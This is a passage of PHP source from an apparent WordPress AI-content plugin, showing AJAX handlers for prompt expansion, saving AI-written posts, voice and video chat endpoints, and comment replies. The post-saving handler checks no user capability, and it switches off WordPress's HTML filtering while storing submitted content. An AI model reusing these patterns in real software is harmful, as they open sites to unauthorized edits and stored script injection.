str_replace('%%~' . $mc . '~%%', '', $prompt); } } } $prompt = preg_replace_callback('#%%random_image_url\[([^\]]*?)\]%%#', function ($matches) { $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, '', $arv); return $my_img; }, $prompt); $prompt = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv); return ''; }, $prompt); $prompt = preg_replace_callback('#%%random_video\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $my_vid = aiomoatic_get_video($matches[1], $chance); return $my_vid; }, $prompt); $prompt = apply_filters('aiomatic_replace_aicontent_shortcode', $prompt); preg_match_all('#%%related_questions_([^%]*?)%%#i', $prompt, $mxatches); if(isset($mxatches[1][0])) { foreach($mxatches[1] as $googlematch) { $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', ''); if(is_array($mtchres) && !empty($mtchres)) { $quests = array(); foreach($mtchres as $mra) { $quests[] = $mra['q']; } $mtchres = implode(',', $quests); } $prompt = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $prompt); } } $query_token_count = count(aiomatic_encode($prompt)); $max_tokens = aiomatic_get_max_tokens($model); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($prompt, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { wp_send_json_error( array( 'message' => 'Incorrect prompt provided!' ) ); exit; } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'aiContentInfoWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { wp_send_json_error( array( 'message' => 'Failed to generate AI content: ' . $aierror) ); exit; } else { $new_post_content = aiomatic_sanitize_ai_result($generated_text); if($step == 'meta') { if(!empty($post_id)) { aiomatic_save_seo_description($post_id, $new_post_content); } } } do_action('aiomatic_aicontent_reply', $new_post_content); wp_send_json_success( array('content' => $new_post_content) ); die(); } add_action( 'wp_ajax_aiomatic_write_aicontent_info', 'aiomatic_write_aicontent_info' ); function aiomatic_save_post_ai() { check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['post_id'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (post_id)' . print_r($_POST, true) ) ); exit; } $post_id = $_POST['post_id']; if(!isset($_POST['aiomatic_title'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (aiomatic_title)' . print_r($_POST, true) ) ); exit; } $this_post = get_post($post_id); if($this_post === null) { wp_send_json_error( array( 'message' => 'Incorrect post_id sent ' . print_r($_POST, true) ) ); exit; } $aiomatic_title = $_POST['aiomatic_title']; if(!isset($_POST['aiomatic_ai_seo'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (aiomatic_ai_seo)' . print_r($_POST, true) ) ); exit; } $aiomatic_ai_seo = $_POST['aiomatic_ai_seo']; if(!isset($_POST['aiomatic_ai_content'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (aiomatic_ai_content)' . print_r($_POST, true) ) ); exit; } $aiomatic_ai_content = $_POST['aiomatic_ai_content']; if(!isset($_POST['aiomatic_ai_excerpt'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (aiomatic_ai_excerpt)' . print_r($_POST, true) ) ); exit; } $aiomatic_ai_excerpt = $_POST['aiomatic_ai_excerpt']; if(!isset($_POST['aiomatic_ai_tags'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (aiomatic_ai_tags)' . print_r($_POST, true) ) ); exit; } $aiomatic_ai_tags = $_POST['aiomatic_ai_tags']; if(empty($aiomatic_title) && empty($aiomatic_ai_seo) && empty($aiomatic_ai_content) && empty($aiomatic_ai_excerpt) && empty($aiomatic_ai_tags)) { wp_send_json_error( array( 'message' => 'Incorrect query sent (nothing to save)' . print_r($_POST, true) ) ); exit; } if(!empty($post_id)) { $need_change = false; $my_post = array(); if($this_post->post_status == 'auto-draft') { $my_post['post_status'] = 'draft'; } $my_post['ID'] = $post_id; if(!empty($aiomatic_title)) { $my_post['post_title'] = $aiomatic_title; $need_change = true; } if(!empty($aiomatic_ai_content)) { $my_post['post_content'] = $aiomatic_ai_content; $need_change = true; } if(!empty($aiomatic_ai_excerpt)) { $my_post['post_excerpt'] = $aiomatic_ai_excerpt; $need_change = true; } if(!empty($aiomatic_ai_tags)) { $my_post['tags_input'] = $aiomatic_ai_tags; $need_change = true; } if(!empty($aiomatic_ai_seo)) { aiomatic_save_seo_description($post_id, $aiomatic_ai_seo); } if($need_change) { remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); try { $post_id = wp_update_post($my_post, true); } catch(Exception $e) { aiomatic_log_to_file('Exception in saving post: ' . $e->getMessage()); } add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); } } else { wp_send_json_error( array( 'message' => 'Empty post_id sent' . print_r($_POST, true) ) ); exit; } $post_link = get_edit_post_link($post_id); $post_link = str_replace('&', '&', $post_link); wp_send_json_success( array('content' => $post_link) ); die(); } add_action( 'wp_ajax_aiomatic_save_post_ai', 'aiomatic_save_post_ai' ); add_action('wp_ajax_aiomatic_get_elevenlabs_voice_chat', 'aiomatic_get_elevenlabs_voice_chat'); add_action('wp_ajax_nopriv_aiomatic_get_elevenlabs_voice_chat', 'aiomatic_get_elevenlabs_voice_chat'); function aiomatic_get_elevenlabs_voice_chat() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with elevenlabs'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!isset($_REQUEST['x_input_text']) || empty($_REQUEST['x_input_text'])) { $aiomatic_result['msg'] = 'No text to send to text-to-speech!'; wp_send_json($aiomatic_result); } if ((!isset($aiomatic_Main_Settings['elevenlabs_app_id']) || trim($aiomatic_Main_Settings['elevenlabs_app_id']) == '')) { $aiomatic_result['msg'] = 'You need to enter an ElevenLabs API key for this to work!'; wp_send_json($aiomatic_result); } $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if(isset($aiomatic_Chatbot_Settings['eleven_voice_custom']) && $aiomatic_Chatbot_Settings['eleven_voice_custom'] != '') { $voice = $aiomatic_Chatbot_Settings['eleven_voice_custom']; } else { if(isset($aiomatic_Chatbot_Settings['eleven_voice']) && $aiomatic_Chatbot_Settings['eleven_voice'] != '') { $voice = $aiomatic_Chatbot_Settings['eleven_voice']; } else { $voice = '21m00Tcm4TlvDq8ikWAM'; } } if(isset($_REQUEST['overwrite_voice']) && !empty($_REQUEST['overwrite_voice'])) { $voice = trim(stripslashes($_REQUEST['overwrite_voice'])); } $message = sanitize_text_field($_REQUEST['x_input_text']); $session = aiomatic_get_session_id(); $query = new Aiomatic_Query($message, 0, 'elevenlabs', '0', '', 'text-to-speech', 'text-to-speech', trim($aiomatic_Main_Settings['elevenlabs_app_id']), $session, 1, '', ''); $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $ok = apply_filters( 'aiomatic_tts_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $aiomatic_result['msg'] = 'Rate limited: ' . $ok; wp_send_json($aiomatic_result); } $result = aiomatic_elevenlabs_stream($voice, $message, 'aiomatic_Chatbot_Settings'); if(is_array($result)){ wp_send_json($result); } else { apply_filters( 'aiomatic_ai_reply_text', $query, $message ); echo $result; die(); } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_god_mode_function', 'aiomatic_get_god_mode_function'); function aiomatic_get_god_mode_function() { check_ajax_referer('openai-ajax-nonce', 'nonce'); require_once (dirname(__FILE__) . "/aiomatic-god-mode.php"); $god_mode = false; $dalle = false; $stable = false; $midjourney = false; $scraper = false; $amazon = false; $amazon_details = false; $rss = false; $google = false; $captions = false; $royalty = false; $youtube = false; $email = false; $facebook = false; $facebook_image = false; $twitter = false; $instagram = false; $pinterest = false; $business = false; $youtube_community = false; $reddit = false; $linkedin = false; $webhook = false; $stable_video = false; if(isset($_REQUEST['god_mode']) && $_REQUEST['god_mode'] == '1') { $god_mode = true; } if(isset($_REQUEST['dalle']) && $_REQUEST['dalle'] == '1') { $dalle = true; } if(isset($_REQUEST['stable']) && $_REQUEST['stable'] == '1') { $stable = true; } if(isset($_REQUEST['midjourney']) && $_REQUEST['midjourney'] == '1') { $midjourney = true; } if(isset($_REQUEST['scraper']) && $_REQUEST['scraper'] == '1') { $scraper = true; } if(isset($_REQUEST['amazon']) && $_REQUEST['amazon'] == '1') { $amazon = true; } if(isset($_REQUEST['amazon_details']) && $_REQUEST['amazon_details'] == '1') { $amazon_details = true; } if(isset($_REQUEST['rss']) && $_REQUEST['rss'] == '1') { $rss = true; } if(isset($_REQUEST['google']) && $_REQUEST['google'] == '1') { $google = true; } if(isset($_REQUEST['captions']) && $_REQUEST['captions'] == '1') { $captions = true; } if(isset($_REQUEST['royalty']) && $_REQUEST['royalty'] == '1') { $royalty = true; } if(isset($_REQUEST['youtube']) && $_REQUEST['youtube'] == '1') { $youtube = true; } if(isset($_REQUEST['email']) && $_REQUEST['email'] == '1') { $email = true; } if(isset($_REQUEST['facebook']) && $_REQUEST['facebook'] == '1') { $facebook = true; } if(isset($_REQUEST['facebook_image']) && $_REQUEST['facebook_image'] == '1') { $facebook_image = true; } if(isset($_REQUEST['twitter']) && $_REQUEST['twitter'] == '1') { $twitter = true; } if(isset($_REQUEST['instagram']) && $_REQUEST['instagram'] == '1') { $instagram = true; } if(isset($_REQUEST['pinterest']) && $_REQUEST['pinterest'] == '1') { $pinterest = true; } if(isset($_REQUEST['business']) && $_REQUEST['business'] == '1') { $business = true; } if(isset($_REQUEST['youtube_community']) && $_REQUEST['youtube_community'] == '1') { $youtube_community = true; } if(isset($_REQUEST['reddit']) && $_REQUEST['reddit'] == '1') { $reddit = true; } if(isset($_REQUEST['linkedin']) && $_REQUEST['linkedin'] == '1') { $linkedin = true; } if(isset($_REQUEST['webhook']) && $_REQUEST['webhook'] == '1') { $webhook = true; } if(isset($_REQUEST['stable_video']) && $_REQUEST['stable_video'] == '1') { $stable_video = true; } $wp_god_mode = aiomatic_return_god_function_assistants($god_mode, $dalle, $stable, $midjourney, $amazon, $amazon_details, $scraper, $rss, $google, $captions, $royalty, $youtube, $email, $facebook, $facebook_image, $twitter, $instagram, $pinterest, $business, $youtube_community, $reddit, $linkedin, $webhook, $stable_video); $aiomatic_result = array('status' => 'success', 'json' => json_encode($wp_god_mode)); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_check_process_status', 'aiomatic_check_process_status'); function aiomatic_check_process_status() { check_ajax_referer('openai-bulk-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with status polling'); $poll = get_transient('aiomatic_log_history'); if($poll !== false) { $aiomatic_result['msg'] = esc_html($poll); $aiomatic_result['status'] = 'success'; } else { $aiomatic_result['msg'] = 'Running status not found'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_openai_voice_chat', 'aiomatic_get_openai_voice_chat'); add_action('wp_ajax_nopriv_aiomatic_get_openai_voice_chat', 'aiomatic_get_openai_voice_chat'); function aiomatic_get_openai_voice_chat() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with OpenAI TTS'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!isset($_REQUEST['x_input_text']) || empty($_REQUEST['x_input_text'])) { $aiomatic_result['msg'] = 'No text to send to text-to-speech!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['app_id'])) { $aiomatic_Main_Settings['app_id'] = ''; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if (empty($token)) { $aiomatic_result['msg'] = 'You need to enter an OpenAI API key for this to work!'; wp_send_json($aiomatic_result); } if(aiomatic_is_aiomaticapi_key($token) || (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings))) { $aiomatic_result['msg'] = 'Only OpenAI API keys are supported at the moment.'; wp_send_json($aiomatic_result); } $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if(isset($aiomatic_Chatbot_Settings['open_model_id']) && $aiomatic_Chatbot_Settings['open_model_id'] != '') { $open_model_id = $aiomatic_Chatbot_Settings['open_model_id']; } else { $open_model_id = 'tts-1'; } if(isset($aiomatic_Chatbot_Settings['open_voice']) && $aiomatic_Chatbot_Settings['open_voice'] != '') { $open_voice = $aiomatic_Chatbot_Settings['open_voice']; } else { $open_voice = 'alloy'; } if(isset($_REQUEST['overwrite_voice']) && !empty($_REQUEST['overwrite_voice'])) { $open_voice = trim(stripslashes($_REQUEST['overwrite_voice'])); } if(isset($aiomatic_Chatbot_Settings['open_format']) && $aiomatic_Chatbot_Settings['open_format'] != '') { $open_format = $aiomatic_Chatbot_Settings['open_format']; } else { $open_format = 'mp3'; } if(isset($aiomatic_Chatbot_Settings['open_speed']) && $aiomatic_Chatbot_Settings['open_speed'] != '') { $open_speed = $aiomatic_Chatbot_Settings['open_speed']; } else { $open_speed = '1'; } $message = sanitize_text_field($_REQUEST['x_input_text']); $session = aiomatic_get_session_id(); $query = new Aiomatic_Query($message, 0, 'openai-' . $open_model_id, '0', '', 'text-to-speech', 'text-to-speech', $token, $session, 1, '', ''); $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $ok = apply_filters( 'aiomatic_tts_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $aiomatic_result['msg'] = 'Rate limited: ' . $ok; wp_send_json($aiomatic_result); } $result = aiomatic_openai_voice_stream($token, $open_model_id, $open_voice, $open_format, $open_speed, $message); if(is_array($result)) { wp_send_json($result); } else { apply_filters( 'aiomatic_ai_reply_text', $query, $message ); switch ($open_format) { case 'opus': header('Content-Type: audio/opus'); break; case 'aac': header('Content-Type: audio/aac'); break; case 'flac': header('Content-Type: audio/flac'); break; default: header('Content-Type: audio/mpeg'); } echo $result; die(); } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_google_voice_chat', 'aiomatic_get_google_voice_chat'); add_action('wp_ajax_nopriv_aiomatic_get_google_voice_chat', 'aiomatic_get_google_voice_chat'); function aiomatic_get_google_voice_chat() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with Google Voice'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!isset($_REQUEST['x_input_text']) || empty($_REQUEST['x_input_text'])) { $aiomatic_result['msg'] = 'No text to send to text-to-speech!'; wp_send_json($aiomatic_result); } if ((!isset($aiomatic_Main_Settings['google_app_id']) || trim($aiomatic_Main_Settings['google_app_id']) == '')) { $aiomatic_result['msg'] = 'You need to enter an Google Text-to-Speech API key for this to work!'; wp_send_json($aiomatic_result); } $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if(isset($aiomatic_Chatbot_Settings['google_voice']) && $aiomatic_Chatbot_Settings['google_voice'] != '') { $voice = $aiomatic_Chatbot_Settings['google_voice']; } else { $aiomatic_result['msg'] = 'You need to select a Google Text-to-Speech Voice Name for this feature to work.'; wp_send_json($aiomatic_result); } if(isset($_REQUEST['overwrite_voice']) && !empty($_REQUEST['overwrite_voice'])) { $voice = trim(stripslashes($_REQUEST['overwrite_voice'])); } if(isset($aiomatic_Chatbot_Settings['audio_profile']) && $aiomatic_Chatbot_Settings['audio_profile'] != '') { $audio_profile = $aiomatic_Chatbot_Settings['audio_profile']; } else { $audio_profile = ''; } if(isset($aiomatic_Chatbot_Settings['voice_language']) && $aiomatic_Chatbot_Settings['voice_language'] != '') { $voice_language = $aiomatic_Chatbot_Settings['voice_language']; } else { $aiomatic_result['msg'] = 'You need to select a Google Text-to-Speech Voice Language for this feature to work.'; wp_send_json($aiomatic_result); } if(isset($aiomatic_Chatbot_Settings['voice_speed']) && $aiomatic_Chatbot_Settings['voice_speed'] != '') { $voice_speed = $aiomatic_Chatbot_Settings['voice_speed']; } else { $voice_speed = ''; } if(isset($aiomatic_Chatbot_Settings['voice_pitch']) && $aiomatic_Chatbot_Settings['voice_pitch'] != '') { $voice_pitch = $aiomatic_Chatbot_Settings['voice_pitch']; } else { $voice_pitch = ''; } $message = sanitize_text_field($_REQUEST['x_input_text']); $session = aiomatic_get_session_id(); $query = new Aiomatic_Query($message, 0, 'google', '0', '', 'text-to-speech', 'text-to-speech', trim($aiomatic_Main_Settings['google_app_id']), $session, 1, '', ''); $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $ok = apply_filters( 'aiomatic_tts_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $aiomatic_result['msg'] = 'Rate limited: ' . $ok; wp_send_json($aiomatic_result); } $result = aiomatic_google_stream($voice, $voice_language, $audio_profile, $voice_speed, $voice_pitch, $message); if(is_array($result)){ if(isset($result['status']) && $result['status'] == 'success') { apply_filters( 'aiomatic_ai_reply_text', $query, $message ); } wp_send_json($result); } else { echo $result; die(); } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_d_id_video_chat', 'aiomatic_get_d_id_video_chat'); add_action('wp_ajax_nopriv_aiomatic_get_d_id_video_chat', 'aiomatic_get_d_id_video_chat'); function aiomatic_get_d_id_video_chat() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with D-ID'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!isset($_REQUEST['x_input_text']) || empty($_REQUEST['x_input_text'])) { $aiomatic_result['msg'] = 'No text to send to text-to-video!'; wp_send_json($aiomatic_result); } if ((!isset($aiomatic_Main_Settings['did_app_id']) || trim($aiomatic_Main_Settings['did_app_id']) == '')) { $aiomatic_result['msg'] = 'You need to enter an Google Text-to-video API key for this to work!'; wp_send_json($aiomatic_result); } $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if(isset($aiomatic_Chatbot_Settings['did_image']) && $aiomatic_Chatbot_Settings['did_image'] != '') { $did_image = $aiomatic_Chatbot_Settings['did_image']; } else { $did_image = 'https://create-images-results.d-id.com/api_docs/assets/noelle.jpeg'; } if(isset($aiomatic_Chatbot_Settings['did_voice']) && $aiomatic_Chatbot_Settings['did_voice'] != '') { $did_voice = $aiomatic_Chatbot_Settings['did_voice']; } else { $did_voice = 'microsoft:en-US-JennyNeural:Cheerful'; } if(isset($_REQUEST['overwrite_voice']) && !empty($_REQUEST['overwrite_voice'])) { $did_voice = trim(stripslashes($_REQUEST['overwrite_voice'])); } $message = sanitize_text_field($_REQUEST['x_input_text']); $session = aiomatic_get_session_id(); $query = new Aiomatic_Query($message, 0, 'd-id', '0', '', 'text-to-speech', 'text-to-speech', trim($aiomatic_Main_Settings['did_app_id']), $session, 1, '', ''); $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $ok = apply_filters( 'aiomatic_tts_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $aiomatic_result['msg'] = 'Rate limited: ' . $ok; wp_send_json($aiomatic_result); } $result = aiomatic_d_id_video($did_image, $message, $did_voice); if(is_array($result)){ if(isset($result['status']) && $result['status'] == 'success') { apply_filters( 'aiomatic_ai_reply_text', $query, $message ); } else { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('D-ID Video Failed: ' . print_r($result, true)); } } wp_send_json($result); } else { echo $result; die(); } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_d_id_default_video_chat', 'aiomatic_get_d_id_default_video_chat'); add_action('wp_ajax_nopriv_aiomatic_get_d_id_default_video_chat', 'aiomatic_get_d_id_default_video_chat'); function aiomatic_get_d_id_default_video_chat() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with D-ID'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if ((!isset($aiomatic_Main_Settings['did_app_id']) || trim($aiomatic_Main_Settings['did_app_id']) == '')) { $aiomatic_result['msg'] = 'You need to enter an Google Text-to-video API key for this to work!'; wp_send_json($aiomatic_result); } if(isset($_POST['did_image']) && trim($_POST['did_image']) != '') { $did_image = $_POST['did_image']; } else { $aiomatic_result['msg'] = 'Insuficient parameters for call!'; wp_send_json($aiomatic_result); } $filename = basename($did_image); $filename = explode("?", $filename); $filename = $filename[0]; $filename = str_replace('%', '-', $filename); $filename = str_replace('#', '-', $filename); $filename = str_replace('&', '-', $filename); $filename = str_replace('{', '-', $filename); $filename = str_replace('}', '-', $filename); $filename = str_replace('\\', '-', $filename); $filename = str_replace('<', '-', $filename); $filename = str_replace('>', '-', $filename); $filename = str_replace('*', '-', $filename); $filename = str_replace('/', '-', $filename); $filename = str_replace('$', '-', $filename); $filename = str_replace('\'', '-', $filename); $filename = str_replace('"', '-', $filename); $filename = str_replace(':', '-', $filename); $filename = str_replace('@', '-', $filename); $filename = str_replace('+', '-', $filename); $filename = str_replace('|', '-', $filename); $filename = str_replace('=', '-', $filename); $filename = str_replace('`', '-', $filename); $local_exist = aiomatic_check_video_locally($filename); if($local_exist !== false) { $result['video'] = $local_exist; $result['status'] = 'success'; wp_send_json($result); } $message = ''; $session = aiomatic_get_session_id(); $query = new Aiomatic_Query($message, 0, 'd-id', '0', '', 'text-to-speech', 'text-to-speech', trim($aiomatic_Main_Settings['did_app_id']), $session, 1, '', ''); $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $ok = apply_filters( 'aiomatic_tts_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $aiomatic_result['msg'] = 'Rate limited: ' . $ok; wp_send_json($aiomatic_result); } $result = aiomatic_d_id_idle_video($did_image, $message); if(is_array($result)){ if(isset($result['status']) && $result['status'] == 'success' && isset($result['video'])) { $local_url = aiomatic_copy_video_locally($result['video'], $filename, 'local'); if(isset($local_url[0]) && $local_url !== false) { $result['video'] = $local_url[0]; } else { aiomatic_log_to_file('Failed to copy default video locally to your server! Please check on available storage space.'); } apply_filters( 'aiomatic_ai_reply_text', $query, $message ); } else { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('D-ID Video Failed: ' . print_r($result, true)); } } wp_send_json($result); } else { echo $result; die(); } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_comment_replier', 'aiomatic_comment_replier'); function aiomatic_comment_replier() { check_ajax_referer('openai-comment-nonce', 'nonce'); if(!isset($_POST['zid'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (id)' . print_r($_POST, true) ) ); exit; } $comment_id = sanitize_text_field($_POST['zid']); $comment = get_comment($comment_id); if(!$comment || is_wp_error($comment)) { wp_send_json_error( array( 'message' => 'Failed to find comment with ID: ' . $comment_id) ); exit; } $post = get_post($comment->comment_post_ID); if(!$post) { wp_send_json_error( array( 'message' => 'Failed to find post for comment, with ID: ' . $comment->comment_post_ID) ); exit; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { wp_send_json_error( array( 'message' => 'You need to enter an OpenAI API key in plugin settings!' ) ); } if (isset($aiomatic_Main_Settings['comment_prompt']) && trim($aiomatic_Main_Settings['comment_prompt']) != '') { $prompt = trim($aiomatic_Main_Settings['comment_prompt']); } else { $prompt = 'Write a reply for %%username%%\'s comment on the post titled "%%post_title%%". The user\'s comment is: %%comment%%'; } if (isset($aiomatic_Main_Settings['comment_model']) && trim($aiomatic_Main_Settings['comment_model']) != '') { $model = trim($aiomatic_Main_Settings['comment_model']); } else { $model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['comment_assistant_id']) && trim($aiomatic_Main_Settings['comment_assistant_id']) != '') { $comment_assistant_id = trim($aiomatic_Main_Settings['comment_assistant_id']); } else { $comment_assistant_id = ''; } $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } $new_post_content = ''; $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $prompt = str_replace('%%post_title%%', $post->post_title, $prompt); $prompt = str_replace('%%post_excerpt%%', $post->post_excerpt, $prompt); $prompt = str_replace('%%username%%', $comment->comment_author, $prompt); $prompt = str_replace('%%comment%%', $comment->comment_content, $prompt); $query_token_count = count(aiomatic_encode($prompt)); $max_tokens = aiomatic_get_max_tokens($model); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($prompt, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { wp_send_json_error( array( 'message' => 'Incorrect prompt provided!' ) ); exit; } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'singleCommentWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $comment_assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { wp_send_json_error( array( 'message' => 'Failed to generate AI content: ' . $aierror) ); exit; } else { $new_post_content = aiomatic_sanitize_ai_result($generated_text); } do_action('aiomatic_comment_reply', $new_post_content); wp_send_json_success( array( 'content' => $new_post_content ) ); exit; } add_action('wp_ajax_aiomatic_generate_media_text', 'aiomatic_generate_media_text'); function aiomatic_generate_media_text() { check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['prompt'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (prompt)' . print_r($_POST, true) ) ); exit; } $prompt = sanitize_text_field($_POST['prompt']); if(!isset($_POST['title'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (title)' . print_r($_POST, true) ) ); exit; } $title = sanitize_text_field($_POST['title']); if(!isset($_POST['caption'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (caption)' . print_r($_POST, true) ) ); exit; } $caption = sanitize_text_field($_POST['caption']); if(!isset($_POST['alt'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (alt)' . print_r($_POST, true) ) ); exit; } $alt = sanitize_text_field($_POST['alt']); if(!isset($_POST['content'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (content)' . print_r($_POST, true) ) ); exit; } $content = sanitize_text_field($_POST['content']); if(!isset($_POST['model'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (model)' . print_r($_POST, true) ) ); exit; } $model = sanitize_text_field($_POST['model']); if(!isset($_POST['assistant_id'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (assistant_id)' . print_r($_POST, true) ) ); exit; } $assistant_id = sanitize_text_field($_POST['assistant_id']); if(!isset($_POST['id'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (id)' . print_r($_POST, true) ) ); exit; } $attachment_id = sanitize_text_field($_POST['id']); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { wp_send_json_error( array( 'message' => 'You need to enter an OpenAI API key in plugin settings!' ) ); } $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } $new_post_content = ''; $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $prompt = str_replace('%%image_title%%', $title, $prompt); $prompt = str_replace('%%image_caption%%', $caption, $prompt); $prompt = str_replace('%%image_alt%%', $alt, $prompt); $prompt = str_replace('%%image_description%%', $content, $prompt); $blog_title = html_entity_decode(get_bloginfo('title')); $prompt = str_replace('%%blog_title%%', $blog_title, $prompt); $prompt = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $prompt); $prompt = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $prompt); $parent_post_id = wp_get_post_parent_id($attachment_id); if ($parent_post_id) { $parent_post_title = get_the_title($parent_post_id); $prompt = str_replace('%%parent_title%%', $parent_post_title, $prompt); $parent_post_excerpt = get_the_excerpt($parent_post_id); $prompt = str_replace('%%parent_excerpt%%', $parent_post_excerpt, $prompt); $parent_post_content = get_the_content($parent_post_id); $prompt = str_replace('%%parent_content%%', $parent_post_content, $prompt); } else { $prompt = str_replace('%%parent_title%%', '', $prompt); $prompt = str_replace('%%parent_excerpt%%', '', $prompt); $prompt = str_replace('%%parent_content%%', '', 